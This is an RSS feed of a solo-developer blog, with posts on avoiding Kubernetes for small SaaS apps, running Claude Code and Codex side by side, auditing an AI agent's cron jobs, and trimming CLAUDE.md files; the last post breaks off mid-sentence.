<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:googleplay="http://www.google.com/schemas/play-podcasts/1.0"><channel><title><![CDATA[Zero to SaaS]]></title><description><![CDATA[For indie devs stuck between ideas and launches — what actually works when you're building SaaS solo, from a Principal SRE shipping 3 products on the side.]]></description><link>https://blog.lakshminp.com</link><image><url>https://substackcdn.com/image/fetch/$s_!KmLm!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3bfe1f8a-a8f2-4bc3-a2fe-660fc03ea202_1024x1024.png</url><title>Zero to SaaS</title><link>https://blog.lakshminp.com</link></image><generator>Substack</generator><lastBuildDate>Wed, 20 May 2026 22:00:53 GMT</lastBuildDate><atom:link href="https://blog.lakshminp.com/feed" rel="self" type="application/rss+xml"/><copyright><![CDATA[Lakshmi Narasimhan]]></copyright><language><![CDATA[en]]></language><webMaster><![CDATA[lakshminp@substack.com]]></webMaster><itunes:owner><itunes:email><![CDATA[lakshminp@substack.com]]></itunes:email><itunes:name><![CDATA[Lakshmi Narasimhan]]></itunes:name></itunes:owner><itunes:author><![CDATA[Lakshmi Narasimhan]]></itunes:author><googleplay:owner><![CDATA[lakshminp@substack.com]]></googleplay:owner><googleplay:email><![CDATA[lakshminp@substack.com]]></googleplay:email><googleplay:author><![CDATA[Lakshmi Narasimhan]]></googleplay:author><itunes:block><![CDATA[Yes]]></itunes:block><item><title><![CDATA[Your Cloud Bill Is A Tax On Someone Else's Resume]]></title><description><![CDATA[Kubernetes adoption is often a tax on someone else's resume. How solo founders end up with $600 AWS bills &#8212; and the one-VPS stack that replaces it.]]></description><link>https://blog.lakshminp.com/p/cloud-bill-resume-tax</link><guid isPermaLink="false">https://blog.lakshminp.com/p/cloud-bill-resume-tax</guid><dc:creator><![CDATA[Lakshmi Narasimhan]]></dc:creator><pubDate>Fri, 24 Apr 2026 17:18:51 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/432d46ef-84a5-408a-81f5-3be2e223b649_1672x941.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>There&#8217;s an insurance company somewhere &#8212; real, working, profitable &#8212; with 100,000 monthly users and a peak concurrent load of about 5,000.</p><p>They spend high six figures a month on Kubernetes.</p><p>They employ twenty people to keep it running.</p><p>This story surfaced this week in the Hacker News thread on David Crawshaw&#8217;s cloud essay, and the comments section turned into a confessional. Engineer after engineer describing the same pattern: cluster adopted, cluster &#8220;optimized,&#8221; cloud spend doubled, incidents doubled, and somehow the only thing anyone can agree on is that they need to hire a platform engineer.</p><p>You don&#8217;t. You never did. Your entire application would run on a laptop.</p><h3><strong>The incentive nobody likes to say out loud</strong></h3><p>Here&#8217;s the quiet part: your DevOps team does not choose infrastructure based on what your application needs.</p><p>They choose it based on what their next job will pay for.</p><p>Kubernetes on a resume is worth more than Docker Compose on a resume. Terraform on a resume is worth more than &#8220;I SSH&#8217;d into the box.&#8221; Managed EKS on a resume is worth more than &#8220;I run a VM.&#8221; Every procurement decision in a modern engineering org is being made by someone who, at some level, is also writing the next page of their LinkedIn.</p><p>And management, god bless them, trusts the sales and marketing departments of Datadog and AWS and HashiCorp more than they trust their own engineers. So when someone internally says &#8220;we could do this on one server,&#8221; and someone externally sends a deck titled <em>Scaling Your Platform For The Future</em>, guess which one wins the meeting.</p><p>The decision was never technical. You just paid the technical price for it.</p><h3><strong>Kubernetes is not the villain. The scale is.</strong></h3><p>Let&#8217;s be precise, because &#8220;Kubernetes&#8221; is doing a lot of work in this essay.</p><p>Full enterprise Kubernetes &#8212; managed control planes, service meshes, operators for everything, a dedicated platform team, Helm charts nested inside Helm charts like Russian dolls of YAML &#8212; that thing was built for Google&#8217;s problem. Multi-tenant, multi-region, thousands of services, teams that don&#8217;t talk to each other.</p><p>If your org does not look like that, you are wearing a costume.</p><p>K3s on a single VPS is not the same animal. Docker Compose on a single VPS is not the same animal. Kamal shipping containers to one Debian box is not the same animal. Those are orchestration for people who want one sane way to deploy a container, not a career in platform engineering.</p><p>The HN thread is full of <a href="https://blog.lakshminp.com/p/kubernetes-indie-dev-alternative">engineers who moved from full K8s to one of these simpler setups</a>. The reports are boringly consistent: costs collapsed, incidents dropped, debugging became possible again. Nobody was shocked. Everyone had been waiting for permission to say it.</p><h3><strong>The solo founder&#8217;s version of this trap</strong></h3><p>You are not the insurance company. You do not have twenty people. You have you, and maybe a contractor, and a credit card that is getting nervous.</p><p>And yet &#8212; you will read the AWS Well-Architected Framework. You will follow a tutorial that starts with &#8220;first, let&#8217;s set up your VPC.&#8221; You will pay $80/month for a managed database to store 200 rows. You will provision a load balancer in front of one server. You will copy the shape of infrastructure you saw at your day job, because that shape felt legitimate, and you want to feel legitimate too.</p><p>This is how solo founders end up with a <a href="https://blog.lakshminp.com/p/aws-is-overrated">$600/month AWS bill for an app that has six users</a>.</p><p>The shape of legitimacy is the trap. Nobody cares what your infrastructure looks like until you have customers, and once you have customers, <a href="https://blog.lakshminp.com/p/30-dollar-saas-stack">&#8220;my app runs on one $12 VPS&#8221;</a> is a story people <em>love</em>. It&#8217;s the opposite of suspicious. It&#8217;s proof that the thing works.</p><h3><strong>What to actually do</strong></h3><ol><li><p><strong>One machine until you can&#8217;t.</strong> One VPS. One Postgres on that VPS. One reverse proxy. Docker Compose or Kamal to deploy. You are allowed to stop here for years.</p></li><li><p><strong>Scale vertically first.</strong> Hetzner will rent you a 48-core EPYC machine with 256 GB of RAM for &#8364;199/month. A mid-tier managed Kubernetes cluster on AWS starts at more than that before you&#8217;ve run a single pod. Most apps die from bad unit economics, not from running out of CPU.</p></li><li><p><strong>When you outgrow that &#8212; and you might not &#8212; <a href="https://blog.lakshminp.com/p/when-diy-beats-managed-kubernetes">K3s on a few boxes gives you orchestration without the org chart</a>.</strong> This is the actual sweet spot for a solo operator who needs more than one machine but less than a platform team.</p></li><li><p><strong>Treat every infrastructure recommendation as a resume artifact until proven otherwise.</strong> Ask who benefits if you adopt this. If the answer is &#8220;the person telling me to adopt it,&#8221; weigh accordingly.</p></li><li><p><strong>Your cloud bill is a leading indicator of how much time you are spending on things that do not make your product better.</strong> Watch it like you watch your weight.</p></li></ol><p>The cloud was supposed to be leverage. For most people, most of the time, it has become the opposite: a recurring invoice for someone else&#8217;s credibility.</p><p>You are allowed to just run the server.</p>]]></content:encoded></item><item><title><![CDATA[Claude Overreaches. Codex Underreaches. I'm Still Figuring Out How to Use Both.]]></title><description><![CDATA[After a Claude outage left me shipping nothing, I added Codex. Here's why running both AI coding agents beats picking one &#8212; and what I'm still figuring out.]]></description><link>https://blog.lakshminp.com/p/claude-vs-codex-use-both</link><guid isPermaLink="false">https://blog.lakshminp.com/p/claude-vs-codex-use-both</guid><dc:creator><![CDATA[Lakshmi Narasimhan]]></dc:creator><pubDate>Wed, 22 Apr 2026 04:17:53 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!KmLm!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3bfe1f8a-a8f2-4bc3-a2fe-660fc03ea202_1024x1024.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I was a one-agent guy until Claude had a run of outages.</p><p>On those days I didn&#8217;t ship less. I shipped <em>nothing</em>. I&#8217;d open my editor, remember Claude was down, stare at the codebase, close the editor. A single-vendor dependency masquerading as a workflow.</p><p>So I reluctantly installed Codex CLI. Poked at it. Resented it for a week. Then task by task &#8212; caught myself reaching for it on purpose, even when Claude was up.</p><p>I still don&#8217;t have the workflow figured out. What I do know is that &#8220;pick one&#8221; is the wrong frame, and the Reddit threads that get it right aren&#8217;t the ones with the most upvotes.</p><h2><strong>The One Sentence That Explains Everything</strong></h2><p>From a 520-upvote r/ClaudeCode thread analyzing both tools&#8217; open-source prompts:</p><blockquote><p><em>&#8220;Claude Code reads like a product trying to create initiative while Codex reads like a product trying to prevent drift.&#8221;</em><br>&#8212; u/idkwhattochoosz</p></blockquote><p>And the pithier version, from the comments:</p><blockquote><p><em>&#8220;Claude is more willing to sin by overreaching. Codex is more willing to sin by underreaching.&#8221;</em><br>&#8212; u/entheogenicentity</p></blockquote><p>Read those twice. That&#8217;s not a model-quality take. That&#8217;s a product-philosophy take. Two teams looked at the same question &#8212; what should an agent do when it doesn&#8217;t know what you meant? &#8212; and picked opposite defaults. One said &#8220;guess and move.&#8221; The other said &#8220;ask and wait.&#8221;</p><p>Claude Code&#8217;s system prompt pushes hard toward initiative: <em>&#8220;A good colleague faced with ambiguity doesn&#8217;t just stop &#8212; they investigate, reduce risk, and build understanding.&#8221;</em> Codex&#8217;s harness does the opposite: narrow the ambiguity, verify, don&#8217;t guess.</p><p>Every &#8220;Claude vs Codex&#8221; benchmark you&#8217;ve seen is scoring two products that were never competing on the same axis. It&#8217;s like benchmarking a kayak against a sedan because they both move you forward.</p><h2><strong>My Honest Opinion: Codex&#8217;s Harness Is Better</strong></h2><p>This is going to get me yelled at in r/ClaudeCode, and that&#8217;s fine.</p><p>After several weeks running both, Codex&#8217;s harness feels more mature. Not the model &#8212; the harness. The scaffolding around the model. The way it handles ambiguity, scope, and completeness.</p><p>Three things Codex does that Claude Code still doesn&#8217;t:</p><p><strong>1. It doesn&#8217;t lie about completion.</strong> Claude will hand you a summary saying the work is done, tests pass, shipping-ready. Codex more often flags what it didn&#8217;t fix, what it wasn&#8217;t sure about, what it skipped. One r/ClaudeCode commenter put it better than I can: <em>&#8220;Claude will always claim all is done and ready, while Codex will flag it and say &#8216;no, there is this and this and this that still need to be fixed.&#8217;&#8221;</em></p><p><strong>2. It respects your instructions.</strong> Claude treats <a href="http://claude.md/">CLAUDE.md</a> as a helpful suggestion. Codex treats <a href="http://agents.md/">AGENTS.md</a> as a contract. If you tell Codex &#8220;don&#8217;t touch the migration files,&#8221; it doesn&#8217;t touch them. If you tell Claude the same thing, you&#8217;ll find a migration file edit in the diff and a cheerful note about how it improved schema consistency.</p><p><strong>3. The restraint scales better.</strong> Claude&#8217;s &#8220;volunteer more&#8221; bias is delightful at 30 minutes of work. It becomes a liability at 3 hours. Codex&#8217;s restraint is annoying in a small task and load-bearing in a long one.</p><p>None of this means Claude Code is bad. It means Claude Code is optimized for a different shape of work than I&#8217;m doing. The initiative bias is a great fit for exploration and greenfield work. For production changes to a real codebase, Codex&#8217;s paranoia is the right default.</p><p>Here&#8217;s the one that changed my mind. I built Supabyoi (managed self-hosted Supabase) with Claude Code. When the MVP felt feature-complete &#8212; Claude&#8217;s verdict, confidently delivered, complete with a tasteful little summary of everything that worked &#8212; I ran a second pass on Codex in a parallel directory (<code>~/supabyoi-codex</code>). Just to see.</p><p>Codex came back with a whole second project&#8217;s worth of findings. Not the usual &#8220;bugs Claude missed.&#8221; Bugs Claude had <em>confidently signed off on.</em> Shipping-ready, per Claude. Not shipping-ready, per Codex. Codex was right about every one of them.</p><p>That was the week I stopped treating Codex as the thing I installed during an outage and started treating it as a different kind of reviewer. Not better. Differently biased. A second pair of eyes is only useful if it&#8217;s not the same pair of eyes.</p><h2><strong>Why You Should Actually Run Both</strong></h2><p>The flip side &#8212; and this matters, because I don&#8217;t want this post read as &#8220;switch to Codex, you fool&#8221; &#8212; Claude&#8217;s initiative bias is a real asset. You just have to point it at the right phase of the work. The problem isn&#8217;t Claude. It&#8217;s that you&#8217;re using Claude for the part of the job Codex is better at, and vice versa.</p><p>Four reasons to dual-sub instead of picking:</p><p><strong>1. Hallucination diversity.</strong> This is the biggest one and almost nobody articulates it clearly. From u/campbellm on Reddit:</p><blockquote><p><em>&#8220;I&#8217;ve been doing &#8216;have claude write something, have codex review it, have claude consider and critique that review.&#8217; It is VERY unlikely that both will hallucinate the same way.&#8221;</em></p></blockquote><p>Two models trained on different data with different RLHF signals don&#8217;t fail identically. When Claude writes confident-but-wrong code, Codex flags it. When Codex skips a subtle edge case, Claude&#8217;s &#8220;check adjacent concerns&#8221; bias picks it up. You get a natural adversarial review without hiring anyone.</p><p><strong>2. The planner-executor split.</strong> Use Claude for the part it&#8217;s good at &#8212; exploring a messy problem space, drafting a plan, proposing a dozen angles. Then hand the plan to Codex for implementation. u/ocombe on r/ClaudeCode: <em>&#8220;Run claude for the plan &amp; fast work, use codex for thorough plan &amp; code reviews.&#8221;</em> u/mrothro&#8217;s version: <em>&#8220;I use Claude Code for ideating and small implementation, then tell it to run Codex to do complex implementations and code reviews.&#8221;</em></p><p>The pattern is consistent across the threads: Claude&#8217;s strength is at the start (wide search, first drafts); Codex&#8217;s strength is at the end (narrow, verify, harden).</p><p><strong>3. Cross-harness rule enforcement.</strong> Rules one model ignores, the other enforces. If Claude drifts on a constraint you set, Codex catches it in review. If Codex is too literal and missed an obvious improvement, Claude&#8217;s adjacent-concerns bias surfaces it. Two different failure modes cancel each other out.</p><p><strong>4. Throughput.</strong> Both platforms throttle hard at the Max/Pro tier. When Claude hits limits on Friday morning, you switch to Codex and keep shipping. One r/ClaudeCode commenter reported pulling down from a Claude 20x plan to 5x, then adding a $100/mo Codex plan &#8212; roughly the same total cost, dramatically more runway. I&#8217;m not sure that math works for everyone, but the principle holds: one subscription is a single point of failure.</p><h2><strong>Agent-Flywheel Is the Tooling Signal</strong></h2><p>There&#8217;s a product called <a href="https://agent-flywheel.com/">agent-flywheel.com</a> that pre-configures Claude Code, Codex CLI, and Gemini on a fresh VPS. Total damage &#8212; VPS plus both Max/Pro subs &#8212; lands between 440and440<em>and</em>656 a month. That&#8217;s a car payment for a car that writes your code.</p><p>What I find interesting isn&#8217;t the tool. It&#8217;s the bet underneath it: a whole product assumes real developers want all three installed by default. Six months ago that would have read as overkill. Today it reads as table stakes.</p><p>The hype cycle hasn&#8217;t caught up yet. The mainstream take is still &#8220;pick your favorite,&#8221; as though these were ice cream flavors. The people actually shipping production code with agents have quietly moved to &#8220;run both. Sometimes three. And don&#8217;t make a big deal about it.&#8221;</p><p>I&#8217;m planning to deploy it &#8212; not on a greenfield project (everybody has a greenfield story), but on an existing one already shipping to real users. The interesting question isn&#8217;t whether a three-agent stack works on a clean slate. It&#8217;s what breaks when you wire it into a codebase with real uptime constraints, customers, and six months of decisions the tooling didn&#8217;t witness. Real-world battle stories from agent-flywheel setups are scarce. I want to write one.</p><h2><strong>The Honest Part: I Don&#8217;t Have the Workflow Figured Out Yet</strong></h2><p>Everything above reads like I&#8217;ve got this nailed. I don&#8217;t. Here&#8217;s the list of things I still don&#8217;t know, offered in the spirit of not pretending:</p><p><strong>When exactly to hand off.</strong> I know Claude should plan and Codex should review. I don&#8217;t have a clean trigger. Sometimes I bounce mid-implementation because Claude is about to go off the rails. Sometimes I trust Claude to finish and Codex only sees the final diff. The &#8220;right&#8221; cadence isn&#8217;t obvious.</p><p><strong>How much context to share.</strong> Each agent wants the full <a href="http://claude.md/">CLAUDE.md</a> / <a href="http://agents.md/">AGENTS.md</a> treatment. Writing both, keeping them in sync, and remembering which one has which convention is its own small job. I haven&#8217;t found a clean answer.</p><p><strong>Whether the adversarial review actually catches bugs.</strong> It sounds great in theory. In practice, most of the time both agents agree the work is done, and the bugs I catch in review are ones I would have caught with one agent too. The hallucination-diversity argument may be overstated at the tasks most of us are actually doing.</p><p><strong>Whether the cost is worth it at my usage.</strong> I&#8217;m not running agents 40 hours a week. At $400+/month for the dual sub, I&#8217;m probably over-subscribed for my actual throughput. The math gets better if you&#8217;re coding all day. I&#8217;m not.</p><h2><strong>Who Should Dual-Sub, Who Shouldn&#8217;t</strong></h2><p><strong>Do it</strong> if you&#8217;re a solo dev shipping production code daily. You&#8217;ll hit Friday-morning limits on one platform whether you budget for it or not, and the adversarial review actually catches things. The cost is real. The throughput gain is bigger. Do the math; it pencils.</p><p><strong>Don&#8217;t bother</strong> if you code a few hours a week. The switching tax and the subscription burn aren&#8217;t worth it at low volume. Pick one and move on. Claude if you want initiative. Codex if you want restraint. Nobody is grading you on this.</p><p><strong>It&#8217;s complicated</strong> if you&#8217;re at a day job where the company pays for one and you&#8217;ve got a side project. Use the company sub for the day job. Don&#8217;t stack a second personal sub unless the side project is actually shipping &#8212; not &#8220;actually going to ship next month,&#8221; <em>actually shipping, this week, to real users.</em> The number of people running dual subs to ship nothing is, I suspect, not small.</p><h2><strong>What This Is Really About</strong></h2><p>The &#8220;ditch ChatGPT for Claude&#8221; narrative was a 2025 story. It was right for its moment. But the 2026 version of that story isn&#8217;t &#8220;ditch Claude for Codex.&#8221; It&#8217;s &#8220;stop treating this as a winner-take-all market.&#8221;</p><p>Different models have different biases baked into their harnesses. Claude overreaches. Codex underreaches. Gemini is still figuring out its personality. The right move isn&#8217;t to pick the bias you like. It&#8217;s to stack biases against each other so their failure modes cancel out.</p><p>I don&#8217;t have this workflow figured out. Neither does anyone else I&#8217;ve read on Reddit, honestly &#8212; the high-upvote posts are mostly single-tool takes, and the real insight is buried in the comments of threads with a few hundred upvotes.</p><p>But &#8220;only use one&#8221; is already wrong. That much is clear.</p>]]></content:encoded></item><item><title><![CDATA[My Agent Runs 10 Cron Jobs. Three of Them Are Worth the Electricity.]]></title><description><![CDATA[My always-on AI agent has ten cron jobs. Six of them went silent weeks ago and I hadn't noticed. Here's what the logs actually said.]]></description><link>https://blog.lakshminp.com/p/ai-agent-cron-jobs-worth-it</link><guid isPermaLink="false">https://blog.lakshminp.com/p/ai-agent-cron-jobs-worth-it</guid><dc:creator><![CDATA[Lakshmi Narasimhan]]></dc:creator><pubDate>Mon, 20 Apr 2026 12:00:12 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!KmLm!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3bfe1f8a-a8f2-4bc3-a2fe-660fc03ea202_1024x1024.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I have a daemon that runs on a server. It&#8217;s been up for seven weeks. It has ten scheduled jobs &#8212; some hourly, some daily, some weekly. Or at least, that&#8217;s what&#8217;s on paper.</p><p>This is what people are calling &#8220;the future of work.&#8221;</p><p>I&#8217;m not sure it is. I&#8217;m sure it&#8217;s what sells on Twitter.</p><h2><strong>The demo economy</strong></h2><p>Always-on agents photograph well. That&#8217;s most of what&#8217;s going on.</p><p>&#8220;My agent posted while I slept&#8221; is tweetable in a way that &#8220;I wrote a cron job&#8221; isn&#8217;t, even when the outputs are identical. The demo-industrial complex has figured this out. YouTubers build daemons. Framework authors build daemons. There are now three different subreddits comparing daemons. The flywheel is real, the content is prolific, and very little of it is honest about what the daemon is actually producing.</p><p>The hype bundles together several different things that deserve to be separated:</p><ol><li><p>Agents that <em>run work while you&#8217;re asleep</em> (useful, conditionally)</p></li><li><p>Agents that <em>react to things happening in the world</em> (useful, conditionally)</p></li><li><p>Agents that <em>capture things as they happen on your phone</em> (useful, conditionally)</p></li><li><p>Agents that <em>run heartbeats and ask themselves what to do</em> (pure performance art)</p></li><li><p>Agents that <em>self-evolve in a loop in the background</em> (fun demos, almost no output)</p></li><li><p>Agents that <em>spawn a hundred parallel subagents to research a topic</em> (almost always worse than one good search)</p></li></ol><p>The hype treats all six as the same thing. They aren&#8217;t.</p><h2><strong>The 20% that actually earns its keep</strong></h2><p>Honest list of when a background daemon does something a CLI or a 10-line bash cron can&#8217;t:</p><p><strong>Scheduled work that has to happen when you&#8217;re not there.</strong> Crawl competitor sites at 3am. Pull last night&#8217;s Sentry errors. Summarize overnight industry chatter into a 7am brief. Your laptop is off, something has to be running somewhere. Legitimate.</p><p><strong>Reactive triggers on external events.</strong> </p><p>Email arrives -&gt; triage. </p><p>Substack comment -&gt; draft reply. </p><p>Sentry alert -&gt; diagnose + suggest fix. </p><p>The trigger comes from outside; compute has to meet it. Legitimate if the volume actually warrants automation (if you get three emails a day, triage is a solved problem &#8212; your inbox).</p><p><strong>On-the-move capture.</strong> </p><p>Voice memo from your phone -&gt; transcribed -&gt; landed in memory. </p><p>Forwarding a link from your phone to your agent. The value is that capture happens when inspired, not when at desk. Real lift for content creators who have thoughts in elevators.</p><p><strong>Judgment-laden monitoring.</strong> </p><p>Not &#8220;disk at 80%&#8221; &#8212; any shell script can do that. <em>&#8220;Disk at 80% AND growing 2% per hour AND that&#8217;s unusual for this host.&#8221;</em> </p><p>Requires context; needs to know what normal looks like. This is where LLMs in a daemon genuinely beat a threshold-based alerting stack.</p><p>That&#8217;s it. Four categories. Anything else is mostly burning tokens.</p><h2><strong>The 80% that&#8217;s noise</strong></h2><p><strong>Heartbeats that ask the agent &#8220;anything to do?&#8221;</strong> </p><p>The agent wakes up, loads context, decides there isn&#8217;t anything to do, goes back to sleep. You pay for the loaded context every time. Over a day this adds up to real money for the privilege of watching an agent shrug.</p><p><strong>Self-evolution loops.</strong> </p><p>&#8220;The agent improves itself while you sleep.&#8221; What it&#8217;s usually doing is refactoring its own prompts in circles. Cool demo on YouTube. Zero measurable outcome delta after a month of running.</p><p><strong>Parallel subagent fan-out for research.</strong> </p><p>Ten agents search the web about the same question and return ten lightly-paraphrased versions of the same top three results. One focused 10-minute session beats this, almost always.</p><p><strong>&#8220;Long-running overnight research tasks.&#8221;</strong> </p><p>When the output lands in your morning inbox, is it better than what 30 focused minutes at your desk would produce? Honestly check. Usually no.</p><p><strong>Replacing things you could cron in 10 lines of bash.</strong> </p><p>The test: could a $5 VPS with a shell script + cron + <code>jq</code> do this? If yes, you&#8217;re not using AI for the part that needs AI. You&#8217;re using it because daemons are cool.</p><h2><strong>Receipts: what&#8217;s actually on my VM</strong></h2><p>I pulled the daemon&#8217;s state file and the log directory while writing this. Fifty-four days of uptime. Ten jobs on paper. The picture is worse than I thought.</p><p>Three are running reliably.</p><p><code>sentry-monitor</code> has fired 191 times since early March. Latest run: this morning. When the night throws errors it reads them, groups them, and suggests a fix &#8212; not a link to the stack trace, an actual &#8220;here&#8217;s what&#8217;s probably wrong and here&#8217;s the one-line change.&#8221; Category 2 plus category 4. Keep.</p><p><code>infra-health</code> has fired 190 times on basically the same cadence. Knows what normal looks like per host. Stays quiet when a disk spike is a scheduled backup and shouts when it isn&#8217;t. Category 4. The whole reason an LLM beats a thresholds-and-Prometheus stack here, and no, you cannot Grafana your way to this in under six months of tuning. Keep.</p><p><code>scout</code> has fired 71 times across seven weeks. Daily-ish. Scans Reddit, HN, and Substack for signal that feeds this blog&#8217;s content calendar. I <em>do</em> use the output. Category 2 if I&#8217;m generous. Keep &#8212; but it absorbs the next two jobs on the list below.</p><p>Now the uncomfortable part.</p><p>Three of the ten have straight-up stopped running and I didn&#8217;t notice.</p><p><code>morning-brief</code> was scheduled daily at 6am. It last fired on March 18. A full month of no overnight brief. I did not miss it. I did not investigate. I did not know.</p><p><code>seo-audit</code> was weekly. It has run exactly once in the daemon&#8217;s entire fifty-four-day lifetime, on March 1. Seven missed weeks. Nobody wrote a bug report to themselves. Nobody opened a file that wasn&#8217;t there.</p><p><code>auto-draft</code> was supposed to produce a draft post every day. It has run exactly once, on April 11. Eight days of silence. Also unnoticed.</p><p>If a job stopped running a month ago and you didn&#8217;t miss it, the job was never producing anything that mattered. That&#8217;s not my heuristic. That&#8217;s the audit, evaluating itself while I was busy talking about audits on Twitter.</p><p>Four more are in some stage of limping.</p><p><code>reddit-scan</code> &#8212; 27 runs over 45 days, last one April 10. Running, sort of, when the mood takes it. Nine days of silence so far on that one.</p><p><code>x-scan</code> &#8212; identical pattern to reddit-scan. Same overlap. Same drift. Same silence since April 10. These two were supposed to be complementary; they&#8217;ve turned out to be redundant <em>and</em> unreliable, which is a rare trick.</p><p><code>engagement-brief</code> &#8212; four runs, total, in the job&#8217;s entire lifetime. Not daily. Not weekly. More like &#8220;occasionally, if the stars align.&#8221;</p><p><code>x-analytics</code> &#8212; three runs, last one March 16. Effectively dead, which is fine, because I check my X numbers roughly once a month anyway.</p><p>Final tally, the honest one.</p><p>Three jobs firing on schedule, producing output I use. Three jobs that silently stopped weeks ago and nobody in this house noticed, including me. Four jobs wandering between &#8220;running&#8221; and &#8220;not really&#8221; with no clear reason why.</p><p>Three-of-ten is the optimistic read. The pessimistic read is that six of the ten audited themselves &#8212; they cut themselves by going quiet, and I hadn&#8217;t even done them the courtesy of looking.</p><p>This is from someone who builds daemons for a living and writes about them for a job. What do you think yours looks like under the hood?</p><h2><strong>The five-question self-test</strong></h2><p>Before you keep any always-on agent job, make it answer these:</p><ol><li><p><strong>Would I actually miss this if it stopped?</strong> If you turned it off for two weeks and no one noticed, it&#8217;s not producing value. It&#8217;s producing comfort.</p></li><li><p><strong>Does the cadence match downstream consumption?</strong> A job that fires 4x/day for output you read weekly is 27 extra runs a week of pure overhead.</p></li><li><p><strong>Is the trigger genuinely external?</strong> (Scheduled time, incoming event, captured input.) If the agent is just checking on itself, you&#8217;ve built a Roomba that vacuums an empty room.</p></li><li><p><strong>Could a shell script + cron + </strong><code>jq</code><strong> do this?</strong> If yes, you&#8217;re not using AI for the part that needs AI.</p></li><li><p><strong>Does the output change my behaviour?</strong> If yesterday&#8217;s run and last Thursday&#8217;s run would have produced the same action from me (or none), one of them was wasted.</p></li></ol><p>Honest answers will cull your cron list by half. Mine certainly did, once I stopped writing this post and actually did the audit.</p><h2><strong>What this isn&#8217;t saying</strong></h2><p>I&#8217;m not arguing against always-on agents. I&#8217;m arguing against always-on agents that <em>aren&#8217;t doing anything.</em></p><p>There&#8217;s real value when the conditions line up &#8212; work-while-you-sleep, external-trigger-response, on-the-move-capture, judgment-laden-monitoring. The reason I keep the daemon running (even after cutting half its jobs) is those four categories genuinely earn the monthly subscription. The reason I&#8217;m writing this is that the other six patterns &#8212; the ones that photograph well &#8212; are funding a lot of framework development and not much measurable outcome.</p><p>If your agent is doing category 1-4 work, the hype is warranted. If it&#8217;s doing category 5-6 work, you&#8217;re paying a subscription to a demo.</p><p>The uncomfortable question for most of the agent-community content right now is <em>which category is the thing being demoed, really?</em> And whether the person demoing it has done the five-question audit on their own cron list.</p><p>My guess: very few have. The demo economy doesn&#8217;t reward the audit. It rewards the screenshot of the agent waking up at 3am and pretending to be useful.</p>]]></content:encoded></item><item><title><![CDATA[Your CLAUDE.md Is Making Claude Dumber]]></title><description><![CDATA[ETH Zurich research shows bloated CLAUDE.md files reduce AI coding performance and increase costs. Here's what to keep, what to kill, and why 60 lines beats 800.]]></description><link>https://blog.lakshminp.com/p/claude-md-best-practices</link><guid isPermaLink="false">https://blog.lakshminp.com/p/claude-md-best-practices</guid><dc:creator><![CDATA[Lakshmi Narasimhan]]></dc:creator><pubDate>Mon, 06 Apr 2026 14:53:44 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!KmLm!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3bfe1f8a-a8f2-4bc3-a2fe-660fc03ea202_1024x1024.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Your CLAUDE.md is 800 lines long. You spent a weekend organizing it into 27 modular files with a routing system. You wrote a blog post about it. You got upvotes.</p><p>Claude is ignoring most of it.</p><p>There&#8217;s an arms race happening in the Claude Code community right now. Every week, someone posts their increasingly elaborate CLAUDE.md setup. 27-file architectures. Tiered loading systems. Router patterns with conditional context injection.</p><p>One developer <a href="https://reddit.com/r/ClaudeCode/comments/1rhe89z/">split their CLAUDE.md into 27 files</a> with a three-tier routing system. 360 upvotes. The post opens with: &#8220;My CLAUDE.md was ~800 lines. It worked until it didn&#8217;t. Rules for one context bled into another, edits had unpredictable side effects, and the model quietly ignored constraints buried 600 lines deep.&#8221;</p><p>The top comment, with 81 upvotes? &#8220;So not sure if you realised you can have descendant CLAUDE.md so you don&#8217;t even need to do this.&#8221;</p><p>Meanwhile, a developer in the same thread: &#8220;I don&#8217;t even use claude.md. Y&#8217;all are roleplaying being productive. Just work with it 1:1.&#8221;</p><p>One group is optimizing. The other is actually working.</p><h3>The Research Says You&#8217;re Doing It Wrong</h3><p>ETH Zurich researchers <a href="https://arxiv.org/pdf/2602.11988">published a paper</a> that should have made every CLAUDE.md maximalist uncomfortable. Their finding: context files &#8212; the .md files we all obsess over &#8212; tend to <em>reduce</em> task success rates compared to providing no repository context at all. And they increase inference cost by over 20%.</p><p>Read that again. No CLAUDE.md outperformed having one. On average.</p><p>When this paper hit Reddit, the poster titled it &#8220;<a href="https://reddit.com/r/ClaudeAI/comments/1rd93ho/">No CLAUDE.md &#8594; baseline. Bad CLAUDE.md &#8594; worse. Good CLAUDE.md &#8594; better.</a>&#8221; &#8212; an optimistic spin suggesting the file isn&#8217;t the problem, your writing is. The post got 209 upvotes. But the top comments immediately called it out: OP had misread the data. The actual finding was that having <em>any</em> .md file &#8212; human or LLM-written &#8212; led to worse performance than having none. The auto-generated thread summary confirmed it: &#8220;The consensus in this thread is that you&#8217;ve completely misread the paper.&#8221;</p><p>It gets worse. LLM-generated .md files hurt the most, because they just parrot back what&#8217;s already in the code. Human-written files showed a slight positive impact &#8212; but only when kept to an absolute minimum, and only for smaller models.</p><p>A separate benchmark of 1,188 runs across Haiku, Sonnet, and Opus confirmed this. Twelve coding tasks. Ten instruction profiles. The result: an empty CLAUDE.md scored best overall.</p><p>The researcher&#8217;s own correction was admirably blunt: &#8220;I was wrong about CLAUDE.md compression. Here&#8217;s what the data actually showed.&#8221;</p><p>You Have an Instruction Budget. You&#8217;re Blowing It.</p><p>Here&#8217;s the mechanism nobody talks 